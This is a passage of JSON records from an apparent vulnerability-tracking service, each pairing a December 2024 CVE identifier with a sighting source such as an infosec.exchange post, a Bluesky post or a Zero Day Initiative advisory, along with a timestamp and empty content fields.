"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12258", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637925659841653", "content": "", "creation_timestamp": "2024-12-12T04:18:57.690518Z"}, {"uuid": "db0115cd-f639-4d64-ac41-f93cf9c446c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12461", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637984702888114", "content": "", "creation_timestamp": "2024-12-12T04:33:58.627825Z"}, {"uuid": "795172cc-2273-4e78-961e-aa6193f0b9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12341", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637984688949211", "content": "", "creation_timestamp": "2024-12-12T04:33:58.816701Z"}, {"uuid": "c2920f49-f9ca-4ded-8ae2-3a765bfabed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12260", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637984660456930", "content": "", "creation_timestamp": "2024-12-12T04:33:59.628021Z"}, {"uuid": "2571b0b6-a704-4e4c-b469-b0afa8b091be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12338", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637984674758678", "content": "", "creation_timestamp": "2024-12-12T04:33:59.728233Z"}, {"uuid": "4216009c-54c6-462c-b746-b23afb32a9c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12018", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638312546521031", "content": "", "creation_timestamp": "2024-12-12T05:57:21.181843Z"}, {"uuid": "e8ee5260-97d8-4099-b4af-08d53eddbc1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12040", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638312581536551", "content": "", "creation_timestamp": "2024-12-12T05:57:21.845056Z"}, {"uuid": "531ec4bb-7377-4ca6-aebd-fa77ee012cd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12209.yaml", "content": "", "creation_timestamp": "2024-12-09T19:05:38.000000Z"}, {"uuid": "0f2c527a-b28b-44fd-b303-fd0046069d04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12072", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638371596006018", "content": "", "creation_timestamp": "2024-12-12T06:12:22.140128Z"}, {"uuid": "0c62aeee-0b05-46c4-b603-8d54a3e89ce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12059", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638371581131526", "content": "", "creation_timestamp": "2024-12-12T06:12:22.434594Z"}, {"uuid": "18e82945-1f1e-42b0-8ed1-cc42ae5a0f65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12172", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638371610329553", "content": "", "creation_timestamp": "2024-12-12T06:12:22.535628Z"}, {"uuid": "d1c7dd1e-e10b-4e94-bbbb-58420ec6421f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12255", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638371624411984", "content": "", "creation_timestamp": "2024-12-12T06:12:22.827567Z"}, {"uuid": "cc0b5ab6-1983-4e50-ab6d-27b55cfbc187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12263", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638430631222337", "content": "", "creation_timestamp": "2024-12-12T06:27:28.452431Z"}, {"uuid": "20a613e3-e873-4150-a8db-d7db3d361206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12265", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638430645601613", "content": "", "creation_timestamp": "2024-12-12T06:27:28.527044Z"}, {"uuid": "3b6b120f-e5cc-4838-ac2a-a89b9aa9c925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12201", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638584197862849", "content": "", "creation_timestamp": "2024-12-12T07:06:26.120314Z"}, {"uuid": "1c788b81-27e5-4f0b-a52e-6073e371fd29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12312", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638584212194781", "content": "", "creation_timestamp": "2024-12-12T07:06:26.618197Z"}, {"uuid": "fc394d5b-e16d-4d52-85e5-a05a1076f62f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12329", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638584226065749", "content": "", "creation_timestamp": "2024-12-12T07:06:26.721674Z"}, {"uuid": "d3a71faf-7dd5-41e6-91ba-48ee64687cc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12564", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638746073551647", "content": "", "creation_timestamp": "2024-12-12T07:47:36.250461Z"}, {"uuid": "ab88675b-4946-4e63-9074-6cbe7569e7e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12160", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638930513060838", "content": "", "creation_timestamp": "2024-12-12T08:34:31.421678Z"}, {"uuid": "a26b0cf1-2c80-433b-a886-a3374c923f64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12333", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638930528958493", "content": "", "creation_timestamp": "2024-12-12T08:34:31.738884Z"}, {"uuid": "ee98bb22-0506-4d4a-b6a5-b3b0d4186f7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12397", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113639063433232775", "content": "", "creation_timestamp": "2024-12-12T09:08:18.872735Z"}, {"uuid": "3491a4a9-6ee7-4cb4-94e1-481a87ab657b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12401", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113639063448885845", "content": "", "creation_timestamp": "2024-12-12T09:08:18.988761Z"}, {"uuid": "f092f491-2cb3-486f-9f84-2bd8abc48e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12292", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113639628901523480", "content": "", "creation_timestamp": "2024-12-12T11:32:07.009671Z"}, {"uuid": "96eafa5f-3930-471b-b2bf-fe25bf9aa27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12570", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113639628915684480", "content": "", "creation_timestamp": "2024-12-12T11:32:07.211650Z"}, {"uuid": "a419aab0-0b97-433c-bd7d-d5ca528bb752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1711/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "036406c4-6fbc-429c-9578-880e5eb48fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12829", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1717/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "5fc64b6d-cec3-40a1-8c8a-4e8f01204734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3ldpqtwo5322t", "content": "", "creation_timestamp": "2024-12-20T06:24:48.179221Z"}, {"uuid": "622c4a5e-02da-4677-9ea2-afd922de235a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12509", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldptpkbm6423", "content": "", "creation_timestamp": "2024-12-20T07:15:57.749724Z"}, {"uuid": "e84aeb4c-5903-44ca-a5dd-c09da6527968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12677", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldqv7hruto2s", "content": "", "creation_timestamp": "2024-12-20T17:15:25.394906Z"}, {"uuid": "cb58a4c3-ee92-47a0-9d85-7fb2e1153941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1725/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "7b77bcd0-b4ba-4e96-a417-45bd683a9d56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12262", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse5xqq5a2i", "content": "", "creation_timestamp": "2024-12-21T07:15:41.023764Z"}, {"uuid": "e9679257-ed5f-4f4e-a2ea-77813a4ef778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12588", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldsku47rvf2m", "content": "", "creation_timestamp": "2024-12-21T09:15:26.140392Z"}, {"uuid": "edb6233e-348a-432c-94c7-92c7d8f3184c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12591", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldso7k43ha2i", "content": "", "creation_timestamp": "2024-12-21T10:15:30.946333Z"}, {"uuid": "c5e4148c-abf4-40cd-a76e-50ad6ba308b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/thedigitalempress.bsky.social/post/3ldu5nfwfw22h", "content": "", "creation_timestamp": "2024-12-22T00:24:22.806545Z"}, {"uuid": "5f9338cf-0ecd-45fc-b86f-90cc6664d2b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12890", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldurb5rgdj2z", "content": "", "creation_timestamp": "2024-12-22T06:15:26.260729Z"}, {"uuid": "94502ef9-f995-4b3c-bae7-6fa03d5b7762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12893", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lduxxw7mx325", "content": "", "creation_timestamp": "2024-12-22T08:15:32.498219Z"}, {"uuid": "e41f628b-e5d7-4f7a-a5f8-19a91a8f5702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12894", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113696407969484827", "content": "", "creation_timestamp": "2024-12-22T12:11:47.083348Z"}, {"uuid": "70accd65-008e-4acd-acb5-c566dbc911c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12895", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldvm3flrkm2k", "content": "", "creation_timestamp": "2024-12-22T14:15:24.301079Z"}, {"uuid": "93f3bdd7-6c3d-4c3e-932d-47ef13afac3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12271", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113639929918430241", "content": "", "creation_timestamp": "2024-12-12T12:48:40.237426Z"}, {"uuid": "8667728a-09dc-4fda-98e2-39b1179e0ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113679881688286497", "content": "", "creation_timestamp": "2024-12-19T14:08:55.957821Z"}, {"uuid": "79d66fbd-4e89-4e0f-a4e4-07ab85445016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12025", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113680243429065741", "content": "", "creation_timestamp": "2024-12-19T15:40:55.436125Z"}, {"uuid": "28f0e677-ea7b-447a-9676-36414bbabeb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12200", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1710/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "28ada12a-99a2-45cf-bc26-604505438442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12571", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldptpmvawe23", "content": "", "creation_timestamp": "2024-12-20T07:16:00.161095Z"}, {"uuid": "e9ad62eb-13a0-4ebe-8e65-878cdc5b1b36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldq54tigj62z", "content": "", "creation_timestamp": "2024-12-20T10:04:27.174687Z"}, {"uuid": "ad708de2-5ec7-42c5-a0f2-494ff080e293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12841", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113686584849087068", "content": "", "creation_timestamp": "2024-12-20T18:33:37.944635Z"}, {"uuid": "2df937f8-91f0-4fc9-8cbe-4ec32e1fb9e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12836", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1724/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "cee9a7a2-50cb-4b4e-869e-699363979a81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12842", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113686930667150769", "content": "", "creation_timestamp": "2024-12-20T20:01:34.635411Z"}, {"uuid": "759f261d-c726-410c-9d82-b490df72f3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12697", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse67bfbr25", "content": "", "creation_timestamp": "2024-12-21T07:15:48.559976Z"}, {"uuid": "0c03d3be-5c28-48d4-84a8-827a90061f3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12289", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113642281636688529", "content": "", "creation_timestamp": "2024-12-12T22:46:44.692657Z"}, {"uuid": "e38b1e35-5fbe-4c19-ad91-23bef2a49c7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12212", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113642778567397779", "content": "", "creation_timestamp": "2024-12-13T00:53:07.178998Z"}, {"uuid": "80100bda-536b-428b-9845-1865af66fa71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12552", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1683/", "content": "", "creation_timestamp": "2024-12-12T05:00:00.000000Z"}, {"uuid": "91093641-5669-411b-8a57-863fe9603a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12553", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1682/", "content": "", "creation_timestamp": "2024-12-12T05:00:00.000000Z"}, {"uuid": "5d513fde-951e-4105-a4ca-e9fb40dbd71d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12603", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643308696425579", "content": "", "creation_timestamp": "2024-12-13T03:07:56.289877Z"}, {"uuid": "2d4d3fae-40bd-4942-9ba2-2695ac482286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12300", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643382752999373", "content": "", "creation_timestamp": "2024-12-13T03:26:46.601095Z"}, {"uuid": "ba74dd0b-6267-43d5-bd19-8a5d234758b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12572", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643382767479504", "content": "", "creation_timestamp": "2024-12-13T03:26:46.997844Z"}, {"uuid": "e8247c9e-5fab-4608-a59c-ccc83cdaac60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12574", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643643641302838", "content": "", "creation_timestamp": "2024-12-13T04:33:07.488715Z"}, {"uuid": "984d7270-4c17-4fb5-a061-1b46ed9547ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12579", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643643655973759", "content": "", "creation_timestamp": "2024-12-13T04:33:07.566472Z"}, {"uuid": "408af8d4-f614-4c3b-a3d5-158477be9cac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12574", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643656425958830", "content": "", "creation_timestamp": "2024-12-13T04:36:22.173759Z"}, {"uuid": "e8c62820-ef2a-4ebe-8f7a-90dcd1cc0d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12579", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643656440491782", "content": "", "creation_timestamp": "2024-12-13T04:36:22.562229Z"}, {"uuid": "b7576802-c282-49b8-83b0-d240de2f7876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12581", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643879513000912", "content": "", "creation_timestamp": "2024-12-13T05:33:07.007314Z"}, {"uuid": "d9667ed7-004e-490a-b1aa-505244c651b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12309", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644659426186356", "content": "", "creation_timestamp": "2024-12-13T08:51:27.246683Z"}, {"uuid": "ef76e5a8-fdb9-4587-86cb-ddbf3bd20ef9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12042", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644659412422518", "content": "", "creation_timestamp": "2024-12-13T08:51:27.312126Z"}, {"uuid": "cc30080e-2951-4eb7-8be8-875ba5eaa512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12414", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644659439675438", "content": "", "creation_timestamp": "2024-12-13T08:51:27.389858Z"}, {"uuid": "ea20f3e4-0489-4169-9308-3e8d097ad622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12417", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644718439164519", "content": "", "creation_timestamp": "2024-12-13T09:06:27.282504Z"}, {"uuid": "050e5d5a-044e-442e-9cf3-7190d1a721eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12420", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644718454185073", "content": "", "creation_timestamp": "2024-12-13T09:06:27.641955Z"}, {"uuid": "216e6ed4-c9be-4beb-9101-38232b306020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12421", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644718468337178", "content": "", "creation_timestamp": "2024-12-13T09:06:27.740561Z"}, {"uuid": "dbc7ddb4-9921-4558-bcc4-7e01d3477b2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12465", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644718482766295", "content": "", "creation_timestamp": "2024-12-13T09:06:28.313676Z"}, {"uuid": "8b78b2d4-698c-408f-9a5f-83b1072cd33f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113646451197341412", "content": "", "creation_timestamp": "2024-12-13T16:27:07.253911Z"}, {"uuid": "f8eb001b-c31c-49e6-8e37-92256a3c67b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113646451197341412", "content": "", "creation_timestamp": "2024-12-13T16:27:07.289034Z"}, {"uuid": "c5912cae-00d5-4d39-944a-ab2a791bf683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12632", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113647513738605389", "content": "", "creation_timestamp": "2024-12-13T20:57:20.129842Z"}, {"uuid": "8e4bf98b-c515-41b7-8767-9c6f2f4e046a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12411", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649603132612074", "content": "", "creation_timestamp": "2024-12-14T05:48:41.884244Z"}, {"uuid": "08399acd-aebf-4b38-931d-ce664b2b68b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12447", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649603175317845", "content": "", "creation_timestamp": "2024-12-14T05:48:42.423399Z"}, {"uuid": "50ff5e7d-8382-470f-8a10-984ee2c913de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12448", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649603208423193", "content": "", "creation_timestamp": "2024-12-14T05:48:42.965099Z"}, {"uuid": "4b0961a6-82d5-4174-bbab-320c458dacfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12458", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649603222187923", "content": "", "creation_timestamp": "2024-12-14T05:48:43.281422Z"}, {"uuid": "fd9f827a-8ba0-4658-a382-fea10313fab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12502", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649662219075211", "content": "", "creation_timestamp": "2024-12-14T06:03:43.329628Z"}, {"uuid": "8ab8e939-dc7c-45b6-9b06-4a89354e759e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12517", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649662234366778", "content": "", "creation_timestamp": "2024-12-14T06:03:43.819871Z"}, {"uuid": "6732c923-8de2-450d-ad0f-88eb18fc25bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 